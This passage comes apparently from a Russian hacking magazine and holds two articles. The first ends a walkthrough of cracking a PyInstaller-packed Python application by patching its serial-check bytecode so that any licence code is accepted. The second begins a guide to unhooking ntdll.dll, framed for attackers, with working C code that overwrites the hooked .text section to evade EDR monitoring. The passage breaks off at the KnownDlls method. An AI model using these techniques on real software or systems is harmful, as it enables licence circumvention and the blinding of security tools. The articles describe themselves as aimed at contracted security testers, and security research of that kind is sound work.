07FF9AE4012BE | 48:98 | cdqe
07FF9AE4012C0 ; В rcx — относительный адрес обработчика
07FF9AE4012C0 ; текущей команды
07FF9AE4012C0 | 41:8B8C83 D8C80600 | mov ecx,dword ptr
ds:[r11+rax*4+6C8D8]
07FF9AE4012C8 | 49:03CB | add rcx,r11
07FF9AE4012CB ; Переход на обработчик текущей команды
07FF9AE4012CB | FFE1 | jmp rcx
07FF9AE4012CD | 48:63D7 | movsxd rdx,edi
07FF9AE4012D0 | 49:8B84D5 68010000 | mov rax,qword ptr
ds:[r13+rdx*8+168]
07FF9AE4012D8 | 48:85C0 | test rax,rax
07FF9AE4012DB | 0F84 B3E01200 | je python39.7FF9AE52F394
07FF9AE4012E1 | 48:FF00 | inc qword ptr ds:[rax]
07FF9AE4012E4 | 48:8B55 90 | mov rdx,qword ptr ss:[rbp-70]
07FF9AE4012E8 | 49:890424 | mov qword ptr ds:[r12],rax
07FF9AE4012EC | 49:83C4 08 | add r12,8

Как видим, таблица обработчиков команд находится по адресу 6C8D8, а ука-


затель на PC текущей команды — в регистре R15.
На этом месте отложим пока отладчик в сторону и вспомним теорию.
Но сначала, чтобы не забыть, зафиксируем один интересный момент: боль-
шинство динамических библиотек, на которые имеются ссылки на вкладке
«Отладочные модули», физически находятся в подпапке \_MEI100722 сис-
темной папки для временных файлов. Судя по всему, это и есть каталог (или
один из каталогов), в который сборка распаковывается на время работы при-
ложения.
Чтобы лучше понимать вопрос, давай для начала вспомним, что это за
зверь такой — Python. Думаю, не ошибусь, если предположу, что многие зна-
ют его как язык для написания простеньких сценариев, вроде JavaScript,
отличающийся несколько экстравагантной концепцией выделения блоков
кода отступами. Проект создан и развивался в лучших традициях черного
английского юмора (как известно, само название — это отсылка к сатиричес-
кому британскому телешоу). В ходе этой эволюции узкоспециализированный
скриптовый язык получил множество разнообразных библиотек, как в свое
время это произошло с фортраном.
Как известно, спрос рождает предложение, поэтому, чтобы разработ-
чикам было легче создавать полноценные коммерческие приложения в рам-
ках привычной концепции Python, были придуманы компиляторы самых раз-
нообразных реализаций. Кто-то попытался сделать нативный компилятор,
другие прикрутили к Python JIT (компиляцию времени исполнения, я расска-
зывал про эту концепцию в своих предыдущих статьях).
Соответственно, были созданы проекты Jython (трансляция в байт-код
JVM) и IronPython (трансляция в .NET IL). Но, к сожалению, как ты мог убедить-
ся из приведенного выше фрагмента кода интерпретатора, эталонная реали-
зация лишена полезных свойств — перед нами обычная интерпретация py-
кода, не отличающаяся высокой оптимизацией.
Подробнее про различные методы компиляции питоновского кода
в исполняемые приложения можно почитать, например, на «Хабре». В этой
статье упомянута сборка приложения с помощью исследуемого нами
PyInstaller и разборка его на составляющие файлы проекта с использованием
PyInstaller Extractor.
Хотя лично я для извлечения файлов из проекта посоветовал бы более
продвинутый инструмент — pydumpck. Разумеется, он тоже не всемогущ
и ему присущи определенные недостатки. К примеру, у меня он нормально
запускается только на версии питона 3.9, но вообще, надо сказать, проблема
совместимости кода даже между соседними подверсиями — обычная и даже
не самая главная проблема этого языка. В общем, достаточно лирики, вер-
немся к суровым техническим подробностям эталонной реализации.
Минимальной единицей скомпилированного питоновского байт-кода
является файл .pyc (есть еще файлы .pyo, скомпилированные с оптимиза-
цией, но их мы трогать не будем). Этот файл генерируется из текстового
скриптового кода вызовом метода py_compile.compile или просто
при вызове директивы import во время исполнения скрипта, чтобы не ком-
пилировать импортируемый модуль лишний раз. Подобным образом раз-
работчики попытались компенсировать отсутствующий в эталонной реали-
зации JIT. Этот файл содержит в себе байт-код скомпилированного модуля,
константы, ссылки и так далее. Формат его зависит от версии Python, офи-
циально не документирован, однако хорошо описан в интернете, например
на сайте Nedbatchelder. В этой же статье приведен и текст простейшего
дизассемблера pyc, написанного на питоне:

import dis, marshal, struct, sys, time, types

def show_file(fname):
f = open(fname, "rb")
magic = f.read(4)
moddate = f.read(4)
modtime = time.asctime(time.localtime(struct.unpack('L', moddate)
[0]))
print "magic %s" % (magic.encode('hex'))
print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
code = marshal.load(f)
show_code(code)

def show_code(code, indent=''):


print "%scode" % indent
indent += ' '
print "%sargcount %d" % (indent, code.co_argcount)
print "%snlocals %d" % (indent, code.co_nlocals)
print "%sstacksize %d" % (indent, code.co_stacksize)
print "%sflags %04x" % (indent, code.co_flags)
show_hex("code", code.co_code, indent=indent)
dis.disassemble(code)
print "%sconsts" % indent
for const in code.co_consts:
if type(const) == types.CodeType:
show_code(const, indent+' ')
else:
print " %s%r" % (indent, const)
print "%snames %r" % (indent, code.co_names)
print "%svarnames %r" % (indent, code.co_varnames)
print "%sfreevars %r" % (indent, code.co_freevars)
print "%scellvars %r" % (indent, code.co_cellvars)
print "%sfilename %r" % (indent, code.co_filename)
print "%sname %r" % (indent, code.co_name)
print "%sfirstlineno %d" % (indent, code.co_firstlineno)
show_hex("lnotab", code.co_lnotab, indent=indent)

def show_hex(label, h, indent):


h = h.encode('hex')
if len(h) < 60:
print "%s%s %s" % (indent, label, h)
else:
print "%s%s" % (indent, label)
for i in range(0, len(h), 60):
print "%s %s" % (indent, h[i:i+60])

show_file(sys.argv[1])

Как видишь, дизассемблирование байт-кода pyc-файлов особой проблемы


не представляет, можно использовать, к примеру, самый распространенный
питоновский дизассемблер pydasm. Есть даже специализированная подклю-
чаемая питоновская библиотека dis, созданная исключительно для дизас-
семблирования. Система команд тоже хоть и зависима от версии и офи-
циально не документирована, но проста и общедоступна. Ее описание также
можно найти в сети.
А вот с декомпиляцией pyc в исходный питоновский код дело обстоит
грустно. Несмотря на кажущееся обилие декомпиляторов (самые рас-
пространенные — это python-decompile3 и pycdc), на текущий момент в паб-
лике нет абсолютно корректных декомпиляторов для версий старше 3.8,
не говоря уже про обфускацию. Поэтому спешу огорчить искателей вол-
шебной кнопки — декомпилированный код даже версии 3.9 требует сильного
допиливания напильником.
Продолжаем увлекательную экскурсию по файлам питоновского пакета.
Когда в отладчике мы бегло просматривали список импортируемых биб-
лиотек, распакованных во временный каталог системы, то обратили вни-
мание на модули с расширением pyd. Это бинарные нативные библиотеки,
подключаемые к питоновскому интерпретатору. Как видишь, это классичес-
кие динамические библиотеки Windows формата DLL с единственной экспор-
тируемой функцией. В этой статье мы пока не будем заострять внимание
на защитах, интегрированных в подобные нативные расширения, пример соз-
дания которых уже описывался в различных публикациях.
Не будем сильно углубляться в тему, рассмотрим только еще один клю-
чевой формат файлов с неприличным расширением .pyz. Это питоновский
архив, позволяющий собрать несколько модулей, классов и прочих составля-
ющих проекта в одну сборку. Эдакий «архив в архиве» внутри исполняемой
сборки PyInstaller.
Все это очень осложняет поиск по вхождению строки нужного модуля
в распакованной сборке PyInstaller. По счастью, это чудо враждебной техники
легко распаковывается на собственные составляющие при помощи упомяну-
той выше утилиты pydumpck и собирается обратно (в случае патча, например)
встроенной утилитой zipapp.
Ну а теперь, вооружившись полученными знаниями, попробуем применить
их на практике для лечения нашего приложения. Для начала аккуратно рас-
пакуем его при помощи pydumpck (благо у нас используется версия Python
3.9). Надо отметить, это практически универсальный инструмент — рас-
паковывает и исполняемый exe-модуль PyInstaller, и содержащиеся в нем
питоновские архивы pyz, и даже декомпилирует распакованные pyc-файлы
в исходный код.
Для декомпиляции в него встроено два плагина — упоминавшиеся
uncompyle6 и pycdc. По умолчанию используется pycdc, и он в целом справ-
ляется с поставленной задачей, а вот плагин uncompyle6 у меня так и не
получилось заставить работать на версии 3.9.
Теперь берем WinHex и ищем текстовую строку no valid license code
по полученному множеству файлов. Нам повезло: у нас простейший случай,
и искомая строка обнаруживается сразу и в pyc, и в автоматически деком-
пилированном из него py-файле. Открываем восстановленный декомпилято-
ром py-файл. К сожалению, мы убеждаемся, что версия 3.9 для декомпилято-
ра pycdc неродная, он явно страдает несварением кода: этот самый код вос-
становлен не полностью. Повсюду видны предупреждения о неизвестных
инструкциях и ошибках декомпиляции, повторно компилировать такой
исходник нельзя. Тем не менее нам повезло — искомое место с проверкой
и выдачей строки в файле присутствует:

...
def validate_serial(self):
if not utils.validate_serial():
self.logger.log('no valid license code for the popup code: '
+ utils.get_hardware_code() + '\n')
return False

Попробуем теперь дизассемблировать этот файл при помощи pycdasm.


Поначалу он ругается на отсутствие сигнатуры, но это не страшно, достаточно
руками приклеить ее (в нашем случае это 8 байт
610D0D0A000000000000000000000000) в начало файла, например
при помощи WinHex.
Находим соответствующее место в дизассемблированном коде:

...
[Disassembly]
0 LOAD_GLOBAL 0: utils
2 LOAD_METHOD 1: validate_serial
4 CALL_METHOD 0
6 POP_JUMP_IF_TRUE 36
8 LOAD_FAST 0: self
10 LOAD_ATTR 2: logger
12 LOAD_METHOD 3: log
14 LOAD_CONST 1: 'no valid license code for the popup
code: '
16 LOAD_GLOBAL 0: utils
18 LOAD_METHOD 4: get_hardware_code
20 CALL_METHOD 0
22 BINARY_ADD
24 LOAD_CONST 2: '\n'
26 BINARY_ADD
28 CALL_METHOD 1
30 POP_TOP
32 LOAD_CONST 3: False
34 RETURN_VALUE
36 LOAD_CONST 4: True

За проверку условия и условный переход по нему отвечает инструкция


POP_JUMP_IF_TRUE. Конечно, можно было бы поправить ее на безусловный
переход, однако тогда придется как-то сбалансировать стек, потому что нет
такой команды, которая одновременно снимала бы со стека значение и осу-
ществляла переход. Вдобавок не факт, что серийник не проверяется где-то
в другом месте. Правильнее будет найти и поправить метод utils.
validate_serial(). Для этого находим модуль utils и декомпилируем его:


def validate_serial():
stored_serial = get_data_file().strip()
hardware_code = get_hardware_code()
if hardware_code == '' or stored_serial != get_serial(
hardware_code):
return False

Или в виде байт-кода:

[Disassembly]
0 LOAD_GLOBAL 0: get_data_file
2 CALL_FUNCTION 0
4 LOAD_METHOD 1: strip
6 CALL_METHOD 0
8 STORE_FAST 0: stored_serial
10 LOAD_GLOBAL 2: strip
12 CALL_FUNCTION 0
14 STORE_FAST 1: hardware_code
16 LOAD_FAST 1: hardware_code
18 LOAD_CONST 1: ''
20 COMPARE_OP 2 (==)
22 POP_JUMP_IF_TRUE 36
24 LOAD_FAST 0: stored_serial
26 LOAD_GLOBAL 3: NULL + strip
28 LOAD_FAST 1: hardware_code
30 CALL_FUNCTION 1
32 COMPARE_OP 3 (!=)
34 POP_JUMP_IF_FALSE 40
36 LOAD_CONST 2: False
38 RETURN_VALUE
40 LOAD_CONST 3: True
42 RETURN_VALUE

Как видишь, тут достаточно заменить команду по смещению 36 LOAD_CONST


2:False (64 02) командой LOAD_CONST 3: True (64 03), и метод
validate_serial() всегда будет возвращать True. Чтобы убедиться в этом,
для начала поправим байт-код прямо в отладчике.

Жмем кнопку Activate — бинго, программа принимает любой код! Теперь нам
остается только поправить байт-код в соответствующем pyc-модуле и акку-
ратно пересобрать экзешник с помощью PyInstaller.
На первый взгляд может показаться, что взлом подобных приложений —
это не просто, а очень просто. Однако я надеюсь, ты понимаешь, что в этой
статье мы разобрали самый простой и базовый случай безо всякой обфуска-
ции, виртуализации, криптографии и прочих заморочек. Ограничимся
для начала им, оставив более интересные варианты в качестве тем
для будущих статей.
ВЗЛОМ

ПОЗНАЕМ АНХУКИНГ NTDLL.DLL

Средства защиты, в частности EDR, любят


ставить хуки. Хук — это специальная инс-
трукция, которая позволяет перехватить
поток управления программы при вызове
определенной функции и в результате кон- MichelleVermishelle
@Michaelzhm
тролировать, отслеживать и изменять дан- michael.zhmailo@yandex.ru

ные, переданные этой функции. В этой


статье я покажу, как проводить обратный
процесс — анхукинг.

Подробнее про хуки ты можешь узнать из статей


«Волшебные хуки. Как перехватывать управление
любой программой через WinAPI» и «Мелкомяг-
кие хуки: Microsoft Detours - честное средство
для настоящего хакера».

Анхукинг позволяет снять хук, который был установлен средством защиты.


Определить наличие хука несложно. Вот наглядный пример того, как он
может выглядеть.

Пример хука

Здесь EDR поставил хук на NtAllocateVirtualMemory(). Эта функция будет


последней в User Mode, она вызывается лишь для инициализации системного
вызова и выделения памяти путем обращения к ядру. В стоковой конфигура-
ции, когда хука нет, никаких безусловных jmp-переходов быть не должно. Тут
мы видим иную ситуацию: переход как раз таки есть, поток управления отда-
ется непонятно кому и непонятно куда. Поэтому нам как атакующим, да и
просто чтобы уклониться от обнаружения, нужна операция анхукинга, которая
снимет этот хук, и, как следствие, средство защиты потеряет контроль
над потоком выполнения программы.
Отмечу лишь, что подобный способ обхода хуков — один из множества.
Можно, например, совершать Direct- и Indirect-сисколы, но стоит помнить, что
получится обойти только хуки, которые стоят в User Mode. Если средство
защиты применяет хуки Kernel Mode (например, SSDT Hooking), то подобные
методы окажутся бесполезны. На будущее: SSDT — это специальная таблица,
благодаря которой сопоставляются сискол и действие ядра Windows. Есть,
конечно, Kernel Patch Protection, который мешает устанавливать подобные
хуки, но это уже совсем другая история.
В статье я рассмотрю наиболее популярные способы снятия хуков,
от простого к сложному.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПОЗНАЕМ АНХУКИНГ NTDLL.DLL

ÑÍßÒÈÅ ÕÓÊÀ ×ÅÐÅÇ ×ÒÅÍÈÅ ÁÈÁËÈÎÒÅÊÈ Ñ ÄÈÑÊÀ

Этот метод можно считать одним из самых простых. Он основан на том, что
библиотека ntdll.dll подгружается в память так же, как находится на диске.
Причем хуки установлены непосредственно в памяти, на диске образ девс-
твенно чист. Поэтому мы должны будем лишь считать библиотеку с диска,
достать из нее PE-секцию .text (в ней находится код), а после перезаписать
секцию .text хукнутой библиотеки секцией, считанной с диска.

Алгоритм снятия хука

Мы будем использовать функции ReadFile() и MapViewOfFile(), и EDR


может отслеживать их, поэтому есть риск, что наша ntdll.dll, загруженная
с диска, будет изменена при попытке подгрузить ее содержимое в прог-
рамму. Поэтому придется использовать иной способ снятия хука, например
тащить ntdll.dll с некоего удаленного сервера. Этот алгоритм реализуем поз-
же. За идею большое спасибо Ральфу.
Итак, сначала нужно считать содержимое библиотеки ntdll.dll. Начнем
со стандартной функции ReadFile(). По умолчанию ntdll.dll лежит в сис-
темной папке \Windows\System32. Предлагаю создать функцию, которая
будет возвращать буфер с содержимым ntdll.dll.

#define NTDLL "NTDLL.DLL"

BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {

CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cNtdllPath[MAX_PATH] = { 0 };
HANDLE hFile = NULL;
DWORD dwNumberOfBytesRead = NULL, dwFileLen = NULL;
PVOID pNtdllBuffer = NULL;

if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",
GetLastError());
goto EndOfFunc;
}

sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s",


cWinPath, NTDLL);

hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL


, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed With Error : %d \n", GetLastError
());
goto EndOfFunc;
}

dwFileLen = GetFileSize(hFile, NULL);


pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
dwFileLen);

if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead,


NULL) || dwFileLen != dwNumberOfBytesRead) {
printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
printf("[i] Read %d of %d Bytes \n", dwNumberOfBytesRead,
dwFileLen);
goto EndOfFunc;
}

*ppNtdllBuf = pNtdllBuffer;

EndOfFunc:
if (hFile)
CloseHandle(hFile);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}

Остается проверить, что наш код верно работает. Если ты пишешь в Visual
Studio, то открывай пункт «Отладка → Параметры» и ставь две галочки, чтобы
можно было видеть содержимое памяти.

Включение показа содержимого памяти

После чего переходи по пути «Отладка → Окна → Память», и сможешь видеть


содержимое памяти текущего отлаживаемого процесса.

Включение окошка отображения памяти

Остается лишь убедиться, что по адресу, который занесется в переменную


ppNtdllBuf, лежат верные значения. Так как библиотека ntdll.dll — PE-файл,
то первые байты должны быть равны MZ. Это так называемая сигнатура, бла-
годаря которой можно убедиться, что мы получили правильный адрес.

Просмотр содержимого в памяти

Выходит, наша ntdll.dll успешно прочитана с диска. Можно также исполь-


зовать и иной API — CreateFileMapping() и MapViewOfFile(). Эти функции
служат для отображения файла в память. Разработчики часто применяют этот
механизм, чтобы не писать каждый раз информацию на диск, теряя в про-
изводительности программы, а вместо этого записывать данные непосредс-
твенно в память и лишь потом, после нескольких записей подряд, сохранять
их на диск. Функция для получения содержимого ntdll.dll будет немногим
отличаться от предыдущей.

#define NTDLL "NTDLL.DLL"

BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {

HANDLE hFile = NULL,


hSection = NULL;
CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cNtdllPath[MAX_PATH] = { 0 };
PBYTE pNtdllBuffer = NULL;

if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",
GetLastError());
goto _EndOfFunc;
}

sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s",


cWinPath, NTDLL);

hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ,


NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed With Error : %d \n",
GetLastError());
goto _EndOfFunc;
}

hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY |


SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
if (hSection == NULL) {
printf("[!] CreateFileMappingA Failed With Error : %d \n",
GetLastError());
goto _EndOfFunc;
}

pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL


, NULL, NULL);
if (pNtdllBuffer == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n",
GetLastError());
goto _EndOfFunc;
}

*ppNtdllBuf = pNtdllBuffer;

_EndOfFunc:
if (hFile)
CloseHandle(hFile);
if (hSection)
CloseHandle(hSection);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}

Возможно, этот метод будет даже чуть более тихим, так как при таком мап-
пинге не срабатывает колбэк PsSetLoadImageNotifyRoutine, который может
быть установлен антивирусным ПО. По крайней мере, так написано на MSDN.

Следующий шаг — получить адрес хукнутой ntdll.dll. Она уже находится


в адресном пространстве нашего процесса. Предлагаю получить ее адрес
из PEB. PEB — специальная структура данных, которая содержит информа-
цию о текущем процессе.

typedef struct _PEB {


BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;

Внутри этой структуры есть элемент Ldr, представляющий собой другую


структуру, PEB_LDR_DATA.

typedef struct _PEB_LDR_DATA {


BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

Внутри PEB_LDR_DATA — еще одна структура (это предпоследняя матрешка,


честно). Называется она LIST_ENTRY.

typedef struct _LIST_ENTRY {


struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

LIST_ENTRY можно считать этаким двусвязным списком. Через элемент


Flink можно получить доступ к следующему элементу двусвязного списка,
а через элемент Blink — к предыдущему. Каждый элемент этого двусвязного
списка представлен структурой LDR_TABLE_ENTRY, которая содержит
информацию о каждой DLL-библиотеке, загруженной в процесс.

typedef struct _LDR_DATA_TABLE_ENTRY {


PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

Больше всего нас интересуют элементы DllBase и FullDllName, у которых


внутри базовый адрес загрузки библиотеки и ее имя соответственно. Поэто-
му предлагаю пробежаться по этому списку, обнаружить элемент, у которого
FullDllName равно C:\Windows\\System32\ntdll.dll, и вычленить его
DllBase.

#include <winternl.h>
#include <algorithm>
#include <string>

...

PVOID FetchLocalNtdllBaseAddress() {
// Достаем TEB (это как PEB, только для потока)
PTEB teb = static_cast<PTEB>(NtCurrentTeb());
// ИЗ TEB получаем PEB
PPEB peb = teb->ProcessEnvironmentBlock;
// Голова списка — верхний элемент. Просто по нему будем
отслеживать, пробежались ли мы по всему списку или нет
PLIST_ENTRY listHead = &peb->Ldr->InMemoryOrderModuleList;
// Следующий за головой элемент
PLIST_ENTRY listEntry = listHead->Flink;

ULONG addr = 0X0;


while (listEntry != listHead)
{
PLDR_DATA_TABLE_ENTRY ldrEntry = CONTAINING_RECORD(listEntry,
LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
std::wstring dllName = ldrEntry->FullDllName.Buffer;
std::transform(dllName.begin(), dllName.end(), dllName.begin
(), ::tolower);

if (dllName.find(L"c:\\windows\\system32\\ntdll.dll") != std:
:wstring::npos) {
return ldrEntry->DllBase;
}

listEntry = listEntry->Flink;
}
return (PVOID)addr;
}

Успешное получение адреса хукнутой библиотеки

Осталось всего ничего — вычленяем адреса секций .text и заменяем одну


секцию другой! Причем опять есть два варианта получения этой секции.
Можем пойти через Optional Header (IMAGE_OPTIONAL_HEADER), внутри
которого содержится RVA-адрес секции .text, элемент BaseOfCode, либо
через IMAGE_SECTION_HEADER, пытаясь обнаружить секцию с именем .text.

PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;


if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)


pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;

PVOID pLocalNtdllTxt = (PVOID)(pLocalNtHdrs->OptionalHeader.


BaseOfCode + (ULONG_PTR)pLocalNtdll);
SIZE_T sNtdllTxtSize = pLocalNtHdrs->OptionalHeader.SizeOfCode;

• pLocalNtdll — базовый адрес ntdll.dll, полученный ранее;


• pLocalNtdllTxt — адрес секции .text;
• sNtdllTxtSize — размер секции.

PVOID pLocalNtdll = FetchLocalNtdllBaseAddress();


PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll
;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)


pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(
pLocalNtHdrs);

for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i


++) {

if( strcmp(pSectionHeader[i]->Name, ".text") == 0) ) {


PVOID pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +
pSectionHeader[i].VirtualAddress);
SIZE_T sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize
;
break;
}
}

Причем во втором варианте мы могли бы избежать использования функции


strcmp следующим условием:

if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {

Сначала выражение *(ULONG*) приводит к тому, что имя .text преобразует-


ся в xet. , так как младший байт будет прочитан первым и помещен в стар-
шую позицию значения ULONG, а самый старший байт будет прочитан пос-
ледним и помещен последним. Далее выполняется побитовое ИЛИ для
выравнивания полученного значения по 32-битной границе. И наконец, про-
исходит сравнение.
Остается лишь перезаписать одну секцию .text другой. Для этого можно
использовать стандартный memcpy(). Предлагаю также свести в отдельную
функцию, которой достаточно лишь передачи базового адреса нехукнутой
ntdll.

BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll /*адрес


нехукнутой ntdll в памяти*/) {

// Базовый адрес загрузки хукнутой ntdll.dll


PVOID pLocalNtdll;
pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();

// Получаем заголовок dos


PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll
;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)


pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;

PVOID pLocalNtdllTxt = NULL, // Адрес секции .text


хукнутой либы
pRemoteNtdllTxt = NULL; // Адрес секции .text анхукнутой либы
SIZE_T sNtdllTxtSize = NULL; // Размер секции .text

PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(


pLocalNtHdrs);

for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i


++) {

// if( strcmp(pSectionHeader[i].Name, ".text") == 0 )


if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.')
{

// Получаем адрес секции .text хукнутой ntdll.dll


pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +
pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
pSectionHeader[i].VirtualAddress);
#endif
#ifdef READ_NTDLL
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
1024);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
{

pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt +
3072);

if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)
pRemoteNtdllTxt)
return FALSE;
}
#endif
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}

if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)


return FALSE;

DWORD dwOldProtection = NULL;

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());
return FALSE;
}

memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());
return FALSE;
}

return TRUE;
}

Думаю, у тебя появились вопросы по поводу следующего участка кода:

if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.')


{

// Получаем адрес секции .text хукнутой ntdll.dll


pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +
pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
pSectionHeader[i].VirtualAddress);
#endif
#ifdef READ_NTDLL
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
1024);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
{

pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt +
3072);

if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)
pRemoteNtdllTxt)
return FALSE;
}
#endif
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}

Смещение секции .text различается в зависимости от того, каким образом


мы считываем ntdll.dll с диска. Если мы считываем ее через
CreateFileMapping(), то смещение всегда будет таким:

pSectionHeader[i].VirtualAddress

Если же считывать через ReadFile(), то иногда выйдет 1024, а иногда 4096.


Найти закономерности не получилось, поэтому сначала мы добавляем сме-
щение 1024, проверяем, соответствуют ли байты по этому адресу байтам
оригинальной, хукнутой ntdll. Если не соответствуют, значит, оффсет 4096,
но мы уже прибавили 1024, поэтому добавляем 3072. И вновь проводим про-
верку.
В результате чего мы сможем без проблем заменить одну библиотеку дру-
гой, что позволит снять хук. Полный код — в моем репозитории. Есть похожая
реализация TheD1rkMtr, он добавил еще и патч от ETW.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПОЗНАЕМ АНХУКИНГ NTDLL.DLL

ÑÍßÒÈÅ ÕÓÊÀ ×ÅÐÅÇ KNOWNDLLS

KnownDlls — специальный раздел в реестре, где содержатся DLL, которые


загрузчик Windows использует для оптимизации процесса загрузки приложе-
ний. В Windows XP и более ранних версиях каталог KnownDlls располагался
в папке C:\Windows\System32. В более новых версиях Windows этот каталог
встроен в ОС, поэтому прямого доступа к нему нет. Список всех «известных»
